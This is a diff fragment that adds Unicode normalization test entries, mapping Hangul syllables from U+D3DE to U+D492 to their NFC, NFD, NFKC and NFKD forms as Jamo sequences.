+{ source: [0xD3DE], NFC: [0xD3DE], NFD: [0x1111, 0x1168, 0x11B5], NFKC: [0xD3DE], NFKD: [0x1111, 0x1168, 0x11B5] },
+{ source: [0xD3DF], NFC: [0xD3DF], NFD: [0x1111, 0x1168, 0x11B6], NFKC: [0xD3DF], NFKD: [0x1111, 0x1168, 0x11B6] },
+{ source: [0xD3E0], NFC: [0xD3E0], NFD: [0x1111, 0x1168, 0x11B7], NFKC: [0xD3E0], NFKD: [0x1111, 0x1168, 0x11B7] },
+{ source: [0xD3E1], NFC: [0xD3E1], NFD: [0x1111, 0x1168, 0x11B8], NFKC: [0xD3E1], NFKD: [0x1111, 0x1168, 0x11B8] },
+{ source: [0xD3E2], NFC: [0xD3E2], NFD: [0x1111, 0x1168, 0x11B9], NFKC: [0xD3E2], NFKD: [0x1111, 0x1168, 0x11B9] },
+{ source: [0xD3E3], NFC: [0xD3E3], NFD: [0x1111, 0x1168, 0x11BA], NFKC: [0xD3E3], NFKD: [0x1111, 0x1168, 0x11BA] },
+{ source: [0xD3E4], NFC: [0xD3E4], NFD: [0x1111, 0x1168, 0x11BB], NFKC: [0xD3E4], NFKD: [0x1111, 0x1168, 0x11BB] },
+{ source: [0xD3E5], NFC: [0xD3E5], NFD: [0x1111, 0x1168, 0x11BC], NFKC: [0xD3E5], NFKD: [0x1111, 0x1168, 0x11BC] },
+{ source: [0xD3E6], NFC: [0xD3E6], NFD: [0x1111, 0x1168, 0x11BD], NFKC: [0xD3E6], NFKD: [0x1111, 0x1168, 0x11BD] },
+{ source: [0xD3E7], NFC: [0xD3E7], NFD: [0x1111, 0x1168, 0x11BE], NFKC: [0xD3E7], NFKD: [0x1111, 0x1168, 0x11BE] },
+{ source: [0xD3E8], NFC: [0xD3E8], NFD: [0x1111, 0x1168, 0x11BF], NFKC: [0xD3E8], NFKD: [0x1111, 0x1168, 0x11BF] },
+{ source: [0xD3E9], NFC: [0xD3E9], NFD: [0x1111, 0x1168, 0x11C0], NFKC: [0xD3E9], NFKD: [0x1111, 0x1168, 0x11C0] },
+{ source: [0xD3EA], NFC: [0xD3EA], NFD: [0x1111, 0x1168, 0x11C1], NFKC: [0xD3EA], NFKD: [0x1111, 0x1168, 0x11C1] },
+{ source: [0xD3EB], NFC: [0xD3EB], NFD: [0x1111, 0x1168, 0x11C2], NFKC: [0xD3EB], NFKD: [0x1111, 0x1168, 0x11C2] },
+{ source: [0xD3EC], NFC: [0xD3EC], NFD: [0x1111, 0x1169], NFKC: [0xD3EC], NFKD: [0x1111, 0x1169] },
+{ source: [0xD3ED], NFC: [0xD3ED], NFD: [0x1111, 0x1169, 0x11A8], NFKC: [0xD3ED], NFKD: [0x1111, 0x1169, 0x11A8] },
+{ source: [0xD3EE], NFC: [0xD3EE], NFD: [0x1111, 0x1169, 0x11A9], NFKC: [0xD3EE], NFKD: [0x1111, 0x1169, 0x11A9] },
+{ source: [0xD3EF], NFC: [0xD3EF], NFD: [0x1111, 0x1169, 0x11AA], NFKC: [0xD3EF], NFKD: [0x1111, 0x1169, 0x11AA] },
+{ source: [0xD3F0], NFC: [0xD3F0], NFD: [0x1111, 0x1169, 0x11AB], NFKC: [0xD3F0], NFKD: [0x1111, 0x1169, 0x11AB] },
+{ source: [0xD3F1], NFC: [0xD3F1], NFD: [0x1111, 0x1169, 0x11AC], NFKC: [0xD3F1], NFKD: [0x1111, 0x1169, 0x11AC] },
+{ source: [0xD3F2], NFC: [0xD3F2], NFD: [0x1111, 0x1169, 0x11AD], NFKC: [0xD3F2], NFKD: [0x1111, 0x1169, 0x11AD] },
+{ source: [0xD3F3], NFC: [0xD3F3], NFD: [0x1111, 0x1169, 0x11AE], NFKC: [0xD3F3], NFKD: [0x1111, 0x1169, 0x11AE] },
+{ source: [0xD3F4], NFC: [0xD3F4], NFD: [0x1111, 0x1169, 0x11AF], NFKC: [0xD3F4], NFKD: [0x1111, 0x1169, 0x11AF] },
+{ source: [0xD3F5], NFC: [0xD3F5], NFD: [0x1111, 0x1169, 0x11B0], NFKC: [0xD3F5], NFKD: [0x1111, 0x1169, 0x11B0] },
+{ source: [0xD3F6], NFC: [0xD3F6], NFD: [0x1111, 0x1169, 0x11B1], NFKC: [0xD3F6], NFKD: [0x1111, 0x1169, 0x11B1] },
+{ source: [0xD3F7], NFC: [0xD3F7], NFD: [0x1111, 0x1169, 0x11B2], NFKC: [0xD3F7], NFKD: [0x1111, 0x1169, 0x11B2] },
+{ source: [0xD3F8], NFC: [0xD3F8], NFD: [0x1111, 0x1169, 0x11B3], NFKC: [0xD3F8], NFKD: [0x1111, 0x1169, 0x11B3] },
+{ source: [0xD3F9], NFC: [0xD3F9], NFD: [0x1111, 0x1169, 0x11B4], NFKC: [0xD3F9], NFKD: [0x1111, 0x1169, 0x11B4] },
+{ source: [0xD3FA], NFC: [0xD3FA], NFD: [0x1111, 0x1169, 0x11B5], NFKC: [0xD3FA], NFKD: [0x1111, 0x1169, 0x11B5] },
+{ source: [0xD3FB], NFC: [0xD3FB], NFD: [0x1111, 0x1169, 0x11B6], NFKC: [0xD3FB], NFKD: [0x1111, 0x1169, 0x11B6] },
+{ source: [0xD3FC], NFC: [0xD3FC], NFD: [0x1111, 0x1169, 0x11B7], NFKC: [0xD3FC], NFKD: [0x1111, 0x1169, 0x11B7] },
+{ source: [0xD3FD], NFC: [0xD3FD], NFD: [0x1111, 0x1169, 0x11B8], NFKC: [0xD3FD], NFKD: [0x1111, 0x1169, 0x11B8] },
+{ source: [0xD3FE], NFC: [0xD3FE], NFD: [0x1111, 0x1169, 0x11B9], NFKC: [0xD3FE], NFKD: [0x1111, 0x1169, 0x11B9] },
+{ source: [0xD3FF], NFC: [0xD3FF], NFD: [0x1111, 0x1169, 0x11BA], NFKC: [0xD3FF], NFKD: [0x1111, 0x1169, 0x11BA] },
+{ source: [0xD400], NFC: [0xD400], NFD: [0x1111, 0x1169, 0x11BB], NFKC: [0xD400], NFKD: [0x1111, 0x1169, 0x11BB] },
+{ source: [0xD401], NFC: [0xD401], NFD: [0x1111, 0x1169, 0x11BC], NFKC: [0xD401], NFKD: [0x1111, 0x1169, 0x11BC] },
+{ source: [0xD402], NFC: [0xD402], NFD: [0x1111, 0x1169, 0x11BD], NFKC: [0xD402], NFKD: [0x1111, 0x1169, 0x11BD] },
+{ source: [0xD403], NFC: [0xD403], NFD: [0x1111, 0x1169, 0x11BE], NFKC: [0xD403], NFKD: [0x1111, 0x1169, 0x11BE] },
+{ source: [0xD404], NFC: [0xD404], NFD: [0x1111, 0x1169, 0x11BF], NFKC: [0xD404], NFKD: [0x1111, 0x1169, 0x11BF] },
+{ source: [0xD405], NFC: [0xD405], NFD: [0x1111, 0x1169, 0x11C0], NFKC: [0xD405], NFKD: [0x1111, 0x1169, 0x11C0] },
+{ source: [0xD406], NFC: [0xD406], NFD: [0x1111, 0x1169, 0x11C1], NFKC: [0xD406], NFKD: [0x1111, 0x1169, 0x11C1] },
+{ source: [0xD407], NFC: [0xD407], NFD: [0x1111, 0x1169, 0x11C2], NFKC: [0xD407], NFKD: [0x1111, 0x1169, 0x11C2] },
+{ source: [0xD408], NFC: [0xD408], NFD: [0x1111, 0x116A], NFKC: [0xD408], NFKD: [0x1111, 0x116A] },
+{ source: [0xD409], NFC: [0xD409], NFD: [0x1111, 0x116A, 0x11A8], NFKC: [0xD409], NFKD: [0x1111, 0x116A, 0x11A8] },
+{ source: [0xD40A], NFC: [0xD40A], NFD: [0x1111, 0x116A, 0x11A9], NFKC: [0xD40A], NFKD: [0x1111, 0x116A, 0x11A9] },
+{ source: [0xD40B], NFC: [0xD40B], NFD: [0x1111, 0x116A, 0x11AA], NFKC: [0xD40B], NFKD: [0x1111, 0x116A, 0x11AA] },
+{ source: [0xD40C], NFC: [0xD40C], NFD: [0x1111, 0x116A, 0x11AB], NFKC: [0xD40C], NFKD: [0x1111, 0x116A, 0x11AB] },
+{ source: [0xD40D], NFC: [0xD40D], NFD: [0x1111, 0x116A, 0x11AC], NFKC: [0xD40D], NFKD: [0x1111, 0x116A, 0x11AC] },
+{ source: [0xD40E], NFC: [0xD40E], NFD: [0x1111, 0x116A, 0x11AD], NFKC: [0xD40E], NFKD: [0x1111, 0x116A, 0x11AD] },
+{ source: [0xD40F], NFC: [0xD40F], NFD: [0x1111, 0x116A, 0x11AE], NFKC: [0xD40F], NFKD: [0x1111, 0x116A, 0x11AE] },
+{ source: [0xD410], NFC: [0xD410], NFD: [0x1111, 0x116A, 0x11AF], NFKC: [0xD410], NFKD: [0x1111, 0x116A, 0x11AF] },
+{ source: [0xD411], NFC: [0xD411], NFD: [0x1111, 0x116A, 0x11B0], NFKC: [0xD411], NFKD: [0x1111, 0x116A, 0x11B0] },
+{ source: [0xD412], NFC: [0xD412], NFD: [0x1111, 0x116A, 0x11B1], NFKC: [0xD412], NFKD: [0x1111, 0x116A, 0x11B1] },
+{ source: [0xD413], NFC: [0xD413], NFD: [0x1111, 0x116A, 0x11B2], NFKC: [0xD413], NFKD: [0x1111, 0x116A, 0x11B2] },
+{ source: [0xD414], NFC: [0xD414], NFD: [0x1111, 0x116A, 0x11B3], NFKC: [0xD414], NFKD: [0x1111, 0x116A, 0x11B3] },
+{ source: [0xD415], NFC: [0xD415], NFD: [0x1111, 0x116A, 0x11B4], NFKC: [0xD415], NFKD: [0x1111, 0x116A, 0x11B4] },
+{ source: [0xD416], NFC: [0xD416], NFD: [0x1111, 0x116A, 0x11B5], NFKC: [0xD416], NFKD: [0x1111, 0x116A, 0x11B5] },
+{ source: [0xD417], NFC: [0xD417], NFD: [0x1111, 0x116A, 0x11B6], NFKC: [0xD417], NFKD: [0x1111, 0x116A, 0x11B6] },
+{ source: [0xD418], NFC: [0xD418], NFD: [0x1111, 0x116A, 0x11B7], NFKC: [0xD418], NFKD: [0x1111, 0x116A, 0x11B7] },
+{ source: [0xD419], NFC: [0xD419], NFD: [0x1111, 0x116A, 0x11B8], NFKC: [0xD419], NFKD: [0x1111, 0x116A, 0x11B8] },
+{ source: [0xD41A], NFC: [0xD41A], NFD: [0x1111, 0x116A, 0x11B9], NFKC: [0xD41A], NFKD: [0x1111, 0x116A, 0x11B9] },
+{ source: [0xD41B], NFC: [0xD41B], NFD: [0x1111, 0x116A, 0x11BA], NFKC: [0xD41B], NFKD: [0x1111, 0x116A, 0x11BA] },
+{ source: [0xD41C], NFC: [0xD41C], NFD: [0x1111, 0x116A, 0x11BB], NFKC: [0xD41C], NFKD: [0x1111, 0x116A, 0x11BB] },
+{ source: [0xD41D], NFC: [0xD41D], NFD: [0x1111, 0x116A, 0x11BC], NFKC: [0xD41D], NFKD: [0x1111, 0x116A, 0x11BC] },
+{ source: [0xD41E], NFC: [0xD41E], NFD: [0x1111, 0x116A, 0x11BD], NFKC: [0xD41E], NFKD: [0x1111, 0x116A, 0x11BD] },
+{ source: [0xD41F], NFC: [0xD41F], NFD: [0x1111, 0x116A, 0x11BE], NFKC: [0xD41F], NFKD: [0x1111, 0x116A, 0x11BE] },
+{ source: [0xD420], NFC: [0xD420], NFD: [0x1111, 0x116A, 0x11BF], NFKC: [0xD420], NFKD: [0x1111, 0x116A, 0x11BF] },
+{ source: [0xD421], NFC: [0xD421], NFD: [0x1111, 0x116A, 0x11C0], NFKC: [0xD421], NFKD: [0x1111, 0x116A, 0x11C0] },
+{ source: [0xD422], NFC: [0xD422], NFD: [0x1111, 0x116A, 0x11C1], NFKC: [0xD422], NFKD: [0x1111, 0x116A, 0x11C1] },
+{ source: [0xD423], NFC: [0xD423], NFD: [0x1111, 0x116A, 0x11C2], NFKC: [0xD423], NFKD: [0x1111, 0x116A, 0x11C2] },
+{ source: [0xD424], NFC: [0xD424], NFD: [0x1111, 0x116B], NFKC: [0xD424], NFKD: [0x1111, 0x116B] },
+{ source: [0xD425], NFC: [0xD425], NFD: [0x1111, 0x116B, 0x11A8], NFKC: [0xD425], NFKD: [0x1111, 0x116B, 0x11A8] },
+{ source: [0xD426], NFC: [0xD426], NFD: [0x1111, 0x116B, 0x11A9], NFKC: [0xD426], NFKD: [0x1111, 0x116B, 0x11A9] },
+{ source: [0xD427], NFC: [0xD427], NFD: [0x1111, 0x116B, 0x11AA], NFKC: [0xD427], NFKD: [0x1111, 0x116B, 0x11AA] },
+{ source: [0xD428], NFC: [0xD428], NFD: [0x1111, 0x116B, 0x11AB], NFKC: [0xD428], NFKD: [0x1111, 0x116B, 0x11AB] },
+{ source: [0xD429], NFC: [0xD429], NFD: [0x1111, 0x116B, 0x11AC], NFKC: [0xD429], NFKD: [0x1111, 0x116B, 0x11AC] },
+{ source: [0xD42A], NFC: [0xD42A], NFD: [0x1111, 0x116B, 0x11AD], NFKC: [0xD42A], NFKD: [0x1111, 0x116B, 0x11AD] },
+{ source: [0xD42B], NFC: [0xD42B], NFD: [0x1111, 0x116B, 0x11AE], NFKC: [0xD42B], NFKD: [0x1111, 0x116B, 0x11AE] },
+{ source: [0xD42C], NFC: [0xD42C], NFD: [0x1111, 0x116B, 0x11AF], NFKC: [0xD42C], NFKD: [0x1111, 0x116B, 0x11AF] },
+{ source: [0xD42D], NFC: [0xD42D], NFD: [0x1111, 0x116B, 0x11B0], NFKC: [0xD42D], NFKD: [0x1111, 0x116B, 0x11B0] },
+{ source: [0xD42E], NFC: [0xD42E], NFD: [0x1111, 0x116B, 0x11B1], NFKC: [0xD42E], NFKD: [0x1111, 0x116B, 0x11B1] },
+{ source: [0xD42F], NFC: [0xD42F], NFD: [0x1111, 0x116B, 0x11B2], NFKC: [0xD42F], NFKD: [0x1111, 0x116B, 0x11B2] },
+{ source: [0xD430], NFC: [0xD430], NFD: [0x1111, 0x116B, 0x11B3], NFKC: [0xD430], NFKD: [0x1111, 0x116B, 0x11B3] },
+{ source: [0xD431], NFC: [0xD431], NFD: [0x1111, 0x116B, 0x11B4], NFKC: [0xD431], NFKD: [0x1111, 0x116B, 0x11B4] },
+{ source: [0xD432], NFC: [0xD432], NFD: [0x1111, 0x116B, 0x11B5], NFKC: [0xD432], NFKD: [0x1111, 0x116B, 0x11B5] },
+{ source: [0xD433], NFC: [0xD433], NFD: [0x1111, 0x116B, 0x11B6], NFKC: [0xD433], NFKD: [0x1111, 0x116B, 0x11B6] },
+{ source: [0xD434], NFC: [0xD434], NFD: [0x1111, 0x116B, 0x11B7], NFKC: [0xD434], NFKD: [0x1111, 0x116B, 0x11B7] },
+{ source: [0xD435], NFC: [0xD435], NFD: [0x1111, 0x116B, 0x11B8], NFKC: [0xD435], NFKD: [0x1111, 0x116B, 0x11B8] },
+{ source: [0xD436], NFC: [0xD436], NFD: [0x1111, 0x116B, 0x11B9], NFKC: [0xD436], NFKD: [0x1111, 0x116B, 0x11B9] },
+{ source: [0xD437], NFC: [0xD437], NFD: [0x1111, 0x116B, 0x11BA], NFKC: [0xD437], NFKD: [0x1111, 0x116B, 0x11BA] },
+{ source: [0xD438], NFC: [0xD438], NFD: [0x1111, 0x116B, 0x11BB], NFKC: [0xD438], NFKD: [0x1111, 0x116B, 0x11BB] },
+{ source: [0xD439], NFC: [0xD439], NFD: [0x1111, 0x116B, 0x11BC], NFKC: [0xD439], NFKD: [0x1111, 0x116B, 0x11BC] },
+{ source: [0xD43A], NFC: [0xD43A], NFD: [0x1111, 0x116B, 0x11BD], NFKC: [0xD43A], NFKD: [0x1111, 0x116B, 0x11BD] },
+{ source: [0xD43B], NFC: [0xD43B], NFD: [0x1111, 0x116B, 0x11BE], NFKC: [0xD43B], NFKD: [0x1111, 0x116B, 0x11BE] },
+{ source: [0xD43C], NFC: [0xD43C], NFD: [0x1111, 0x116B, 0x11BF], NFKC: [0xD43C], NFKD: [0x1111, 0x116B, 0x11BF] },
+{ source: [0xD43D], NFC: [0xD43D], NFD: [0x1111, 0x116B, 0x11C0], NFKC: [0xD43D], NFKD: [0x1111, 0x116B, 0x11C0] },
+{ source: [0xD43E], NFC: [0xD43E], NFD: [0x1111, 0x116B, 0x11C1], NFKC: [0xD43E], NFKD: [0x1111, 0x116B, 0x11C1] },
+{ source: [0xD43F], NFC: [0xD43F], NFD: [0x1111, 0x116B, 0x11C2], NFKC: [0xD43F], NFKD: [0x1111, 0x116B, 0x11C2] },
+{ source: [0xD440], NFC: [0xD440], NFD: [0x1111, 0x116C], NFKC: [0xD440], NFKD: [0x1111, 0x116C] },
+{ source: [0xD441], NFC: [0xD441], NFD: [0x1111, 0x116C, 0x11A8], NFKC: [0xD441], NFKD: [0x1111, 0x116C, 0x11A8] },
+{ source: [0xD442], NFC: [0xD442], NFD: [0x1111, 0x116C, 0x11A9], NFKC: [0xD442], NFKD: [0x1111, 0x116C, 0x11A9] },
+{ source: [0xD443], NFC: [0xD443], NFD: [0x1111, 0x116C, 0x11AA], NFKC: [0xD443], NFKD: [0x1111, 0x116C, 0x11AA] },
+{ source: [0xD444], NFC: [0xD444], NFD: [0x1111, 0x116C, 0x11AB], NFKC: [0xD444], NFKD: [0x1111, 0x116C, 0x11AB] },
+{ source: [0xD445], NFC: [0xD445], NFD: [0x1111, 0x116C, 0x11AC], NFKC: [0xD445], NFKD: [0x1111, 0x116C, 0x11AC] },
+{ source: [0xD446], NFC: [0xD446], NFD: [0x1111, 0x116C, 0x11AD], NFKC: [0xD446], NFKD: [0x1111, 0x116C, 0x11AD] },
+{ source: [0xD447], NFC: [0xD447], NFD: [0x1111, 0x116C, 0x11AE], NFKC: [0xD447], NFKD: [0x1111, 0x116C, 0x11AE] },
+{ source: [0xD448], NFC: [0xD448], NFD: [0x1111, 0x116C, 0x11AF], NFKC: [0xD448], NFKD: [0x1111, 0x116C, 0x11AF] },
+{ source: [0xD449], NFC: [0xD449], NFD: [0x1111, 0x116C, 0x11B0], NFKC: [0xD449], NFKD: [0x1111, 0x116C, 0x11B0] },
+{ source: [0xD44A], NFC: [0xD44A], NFD: [0x1111, 0x116C, 0x11B1], NFKC: [0xD44A], NFKD: [0x1111, 0x116C, 0x11B1] },
+{ source: [0xD44B], NFC: [0xD44B], NFD: [0x1111, 0x116C, 0x11B2], NFKC: [0xD44B], NFKD: [0x1111, 0x116C, 0x11B2] },
+{ source: [0xD44C], NFC: [0xD44C], NFD: [0x1111, 0x116C, 0x11B3], NFKC: [0xD44C], NFKD: [0x1111, 0x116C, 0x11B3] },
+{ source: [0xD44D], NFC: [0xD44D], NFD: [0x1111, 0x116C, 0x11B4], NFKC: [0xD44D], NFKD: [0x1111, 0x116C, 0x11B4] },
+{ source: [0xD44E], NFC: [0xD44E], NFD: [0x1111, 0x116C, 0x11B5], NFKC: [0xD44E], NFKD: [0x1111, 0x116C, 0x11B5] },
+{ source: [0xD44F], NFC: [0xD44F], NFD: [0x1111, 0x116C, 0x11B6], NFKC: [0xD44F], NFKD: [0x1111, 0x116C, 0x11B6] },
+{ source: [0xD450], NFC: [0xD450], NFD: [0x1111, 0x116C, 0x11B7], NFKC: [0xD450], NFKD: [0x1111, 0x116C, 0x11B7] },
+{ source: [0xD451], NFC: [0xD451], NFD: [0x1111, 0x116C, 0x11B8], NFKC: [0xD451], NFKD: [0x1111, 0x116C, 0x11B8] },
+{ source: [0xD452], NFC: [0xD452], NFD: [0x1111, 0x116C, 0x11B9], NFKC: [0xD452], NFKD: [0x1111, 0x116C, 0x11B9] },
+{ source: [0xD453], NFC: [0xD453], NFD: [0x1111, 0x116C, 0x11BA], NFKC: [0xD453], NFKD: [0x1111, 0x116C, 0x11BA] },
+{ source: [0xD454], NFC: [0xD454], NFD: [0x1111, 0x116C, 0x11BB], NFKC: [0xD454], NFKD: [0x1111, 0x116C, 0x11BB] },
+{ source: [0xD455], NFC: [0xD455], NFD: [0x1111, 0x116C, 0x11BC], NFKC: [0xD455], NFKD: [0x1111, 0x116C, 0x11BC] },
+{ source: [0xD456], NFC: [0xD456], NFD: [0x1111, 0x116C, 0x11BD], NFKC: [0xD456], NFKD: [0x1111, 0x116C, 0x11BD] },
+{ source: [0xD457], NFC: [0xD457], NFD: [0x1111, 0x116C, 0x11BE], NFKC: [0xD457], NFKD: [0x1111, 0x116C, 0x11BE] },
+{ source: [0xD458], NFC: [0xD458], NFD: [0x1111, 0x116C, 0x11BF], NFKC: [0xD458], NFKD: [0x1111, 0x116C, 0x11BF] },
+{ source: [0xD459], NFC: [0xD459], NFD: [0x1111, 0x116C, 0x11C0], NFKC: [0xD459], NFKD: [0x1111, 0x116C, 0x11C0] },
+{ source: [0xD45A], NFC: [0xD45A], NFD: [0x1111, 0x116C, 0x11C1], NFKC: [0xD45A], NFKD: [0x1111, 0x116C, 0x11C1] },
+{ source: [0xD45B], NFC: [0xD45B], NFD: [0x1111, 0x116C, 0x11C2], NFKC: [0xD45B], NFKD: [0x1111, 0x116C, 0x11C2] },
+{ source: [0xD45C], NFC: [0xD45C], NFD: [0x1111, 0x116D], NFKC: [0xD45C], NFKD: [0x1111, 0x116D] },
+{ source: [0xD45D], NFC: [0xD45D], NFD: [0x1111, 0x116D, 0x11A8], NFKC: [0xD45D], NFKD: [0x1111, 0x116D, 0x11A8] },
+{ source: [0xD45E], NFC: [0xD45E], NFD: [0x1111, 0x116D, 0x11A9], NFKC: [0xD45E], NFKD: [0x1111, 0x116D, 0x11A9] },
+{ source: [0xD45F], NFC: [0xD45F], NFD: [0x1111, 0x116D, 0x11AA], NFKC: [0xD45F], NFKD: [0x1111, 0x116D, 0x11AA] },
+{ source: [0xD460], NFC: [0xD460], NFD: [0x1111, 0x116D, 0x11AB], NFKC: [0xD460], NFKD: [0x1111, 0x116D, 0x11AB] },
+{ source: [0xD461], NFC: [0xD461], NFD: [0x1111, 0x116D, 0x11AC], NFKC: [0xD461], NFKD: [0x1111, 0x116D, 0x11AC] },
+{ source: [0xD462], NFC: [0xD462], NFD: [0x1111, 0x116D, 0x11AD], NFKC: [0xD462], NFKD: [0x1111, 0x116D, 0x11AD] },
+{ source: [0xD463], NFC: [0xD463], NFD: [0x1111, 0x116D, 0x11AE], NFKC: [0xD463], NFKD: [0x1111, 0x116D, 0x11AE] },
+{ source: [0xD464], NFC: [0xD464], NFD: [0x1111, 0x116D, 0x11AF], NFKC: [0xD464], NFKD: [0x1111, 0x116D, 0x11AF] },
+{ source: [0xD465], NFC: [0xD465], NFD: [0x1111, 0x116D, 0x11B0], NFKC: [0xD465], NFKD: [0x1111, 0x116D, 0x11B0] },
+{ source: [0xD466], NFC: [0xD466], NFD: [0x1111, 0x116D, 0x11B1], NFKC: [0xD466], NFKD: [0x1111, 0x116D, 0x11B1] },
+{ source: [0xD467], NFC: [0xD467], NFD: [0x1111, 0x116D, 0x11B2], NFKC: [0xD467], NFKD: [0x1111, 0x116D, 0x11B2] },
+{ source: [0xD468], NFC: [0xD468], NFD: [0x1111, 0x116D, 0x11B3], NFKC: [0xD468], NFKD: [0x1111, 0x116D, 0x11B3] },
+{ source: [0xD469], NFC: [0xD469], NFD: [0x1111, 0x116D, 0x11B4], NFKC: [0xD469], NFKD: [0x1111, 0x116D, 0x11B4] },
+{ source: [0xD46A], NFC: [0xD46A], NFD: [0x1111, 0x116D, 0x11B5], NFKC: [0xD46A], NFKD: [0x1111, 0x116D, 0x11B5] },
+{ source: [0xD46B], NFC: [0xD46B], NFD: [0x1111, 0x116D, 0x11B6], NFKC: [0xD46B], NFKD: [0x1111, 0x116D, 0x11B6] },
+{ source: [0xD46C], NFC: [0xD46C], NFD: [0x1111, 0x116D, 0x11B7], NFKC: [0xD46C], NFKD: [0x1111, 0x116D, 0x11B7] },
+{ source: [0xD46D], NFC: [0xD46D], NFD: [0x1111, 0x116D, 0x11B8], NFKC: [0xD46D], NFKD: [0x1111, 0x116D, 0x11B8] },
+{ source: [0xD46E], NFC: [0xD46E], NFD: [0x1111, 0x116D, 0x11B9], NFKC: [0xD46E], NFKD: [0x1111, 0x116D, 0x11B9] },
+{ source: [0xD46F], NFC: [0xD46F], NFD: [0x1111, 0x116D, 0x11BA], NFKC: [0xD46F], NFKD: [0x1111, 0x116D, 0x11BA] },
+{ source: [0xD470], NFC: [0xD470], NFD: [0x1111, 0x116D, 0x11BB], NFKC: [0xD470], NFKD: [0x1111, 0x116D, 0x11BB] },
+{ source: [0xD471], NFC: [0xD471], NFD: [0x1111, 0x116D, 0x11BC], NFKC: [0xD471], NFKD: [0x1111, 0x116D, 0x11BC] },
+{ source: [0xD472], NFC: [0xD472], NFD: [0x1111, 0x116D, 0x11BD], NFKC: [0xD472], NFKD: [0x1111, 0x116D, 0x11BD] },
+{ source: [0xD473], NFC: [0xD473], NFD: [0x1111, 0x116D, 0x11BE], NFKC: [0xD473], NFKD: [0x1111, 0x116D, 0x11BE] },
+{ source: [0xD474], NFC: [0xD474], NFD: [0x1111, 0x116D, 0x11BF], NFKC: [0xD474], NFKD: [0x1111, 0x116D, 0x11BF] },
+{ source: [0xD475], NFC: [0xD475], NFD: [0x1111, 0x116D, 0x11C0], NFKC: [0xD475], NFKD: [0x1111, 0x116D, 0x11C0] },
+{ source: [0xD476], NFC: [0xD476], NFD: [0x1111, 0x116D, 0x11C1], NFKC: [0xD476], NFKD: [0x1111, 0x116D, 0x11C1] },
+{ source: [0xD477], NFC: [0xD477], NFD: [0x1111, 0x116D, 0x11C2], NFKC: [0xD477], NFKD: [0x1111, 0x116D, 0x11C2] },
+{ source: [0xD478], NFC: [0xD478], NFD: [0x1111, 0x116E], NFKC: [0xD478], NFKD: [0x1111, 0x116E] },
+{ source: [0xD479], NFC: [0xD479], NFD: [0x1111, 0x116E, 0x11A8], NFKC: [0xD479], NFKD: [0x1111, 0x116E, 0x11A8] },
+{ source: [0xD47A], NFC: [0xD47A], NFD: [0x1111, 0x116E, 0x11A9], NFKC: [0xD47A], NFKD: [0x1111, 0x116E, 0x11A9] },
+{ source: [0xD47B], NFC: [0xD47B], NFD: [0x1111, 0x116E, 0x11AA], NFKC: [0xD47B], NFKD: [0x1111, 0x116E, 0x11AA] },
+{ source: [0xD47C], NFC: [0xD47C], NFD: [0x1111, 0x116E, 0x11AB], NFKC: [0xD47C], NFKD: [0x1111, 0x116E, 0x11AB] },
+{ source: [0xD47D], NFC: [0xD47D], NFD: [0x1111, 0x116E, 0x11AC], NFKC: [0xD47D], NFKD: [0x1111, 0x116E, 0x11AC] },
+{ source: [0xD47E], NFC: [0xD47E], NFD: [0x1111, 0x116E, 0x11AD], NFKC: [0xD47E], NFKD: [0x1111, 0x116E, 0x11AD] },
+{ source: [0xD47F], NFC: [0xD47F], NFD: [0x1111, 0x116E, 0x11AE], NFKC: [0xD47F], NFKD: [0x1111, 0x116E, 0x11AE] },
+{ source: [0xD480], NFC: [0xD480], NFD: [0x1111, 0x116E, 0x11AF], NFKC: [0xD480], NFKD: [0x1111, 0x116E, 0x11AF] },
+{ source: [0xD481], NFC: [0xD481], NFD: [0x1111, 0x116E, 0x11B0], NFKC: [0xD481], NFKD: [0x1111, 0x116E, 0x11B0] },
+{ source: [0xD482], NFC: [0xD482], NFD: [0x1111, 0x116E, 0x11B1], NFKC: [0xD482], NFKD: [0x1111, 0x116E, 0x11B1] },
+{ source: [0xD483], NFC: [0xD483], NFD: [0x1111, 0x116E, 0x11B2], NFKC: [0xD483], NFKD: [0x1111, 0x116E, 0x11B2] },
+{ source: [0xD484], NFC: [0xD484], NFD: [0x1111, 0x116E, 0x11B3], NFKC: [0xD484], NFKD: [0x1111, 0x116E, 0x11B3] },
+{ source: [0xD485], NFC: [0xD485], NFD: [0x1111, 0x116E, 0x11B4], NFKC: [0xD485], NFKD: [0x1111, 0x116E, 0x11B4] },
+{ source: [0xD486], NFC: [0xD486], NFD: [0x1111, 0x116E, 0x11B5], NFKC: [0xD486], NFKD: [0x1111, 0x116E, 0x11B5] },
+{ source: [0xD487], NFC: [0xD487], NFD: [0x1111, 0x116E, 0x11B6], NFKC: [0xD487], NFKD: [0x1111, 0x116E, 0x11B6] },
+{ source: [0xD488], NFC: [0xD488], NFD: [0x1111, 0x116E, 0x11B7], NFKC: [0xD488], NFKD: [0x1111, 0x116E, 0x11B7] },
+{ source: [0xD489], NFC: [0xD489], NFD: [0x1111, 0x116E, 0x11B8], NFKC: [0xD489], NFKD: [0x1111, 0x116E, 0x11B8] },
+{ source: [0xD48A], NFC: [0xD48A], NFD: [0x1111, 0x116E, 0x11B9], NFKC: [0xD48A], NFKD: [0x1111, 0x116E, 0x11B9] },
+{ source: [0xD48B], NFC: [0xD48B], NFD: [0x1111, 0x116E, 0x11BA], NFKC: [0xD48B], NFKD: [0x1111, 0x116E, 0x11BA] },
+{ source: [0xD48C], NFC: [0xD48C], NFD: [0x1111, 0x116E, 0x11BB], NFKC: [0xD48C], NFKD: [0x1111, 0x116E, 0x11BB] },
+{ source: [0xD48D], NFC: [0xD48D], NFD: [0x1111, 0x116E, 0x11BC], NFKC: [0xD48D], NFKD: [0x1111, 0x116E, 0x11BC] },
+{ source: [0xD48E], NFC: [0xD48E], NFD: [0x1111, 0x116E, 0x11BD], NFKC: [0xD48E], NFKD: [0x1111, 0x116E, 0x11BD] },
+{ source: [0xD48F], NFC: [0xD48F], NFD: [0x1111, 0x116E, 0x11BE], NFKC: [0xD48F], NFKD: [0x1111, 0x116E, 0x11BE] },
+{ source: [0xD490], NFC: [0xD490], NFD: [0x1111, 0x116E, 0x11BF], NFKC: [0xD490], NFKD: [0x1111, 0x116E, 0x11BF] },
+{ source: [0xD491], NFC: [0xD491], NFD: [0x1111, 0x116E, 0x11C0], NFKC: [0xD491], NFKD: [0x1111, 0x116E, 0x11C0] },
+{ source: [0xD492], NFC: [0xD492], NFD: [0x1111, 0x116E, 0x11C1], NFKC: [0xD492], NFKD: [0x1111, 0x116E, 0x11C1] },
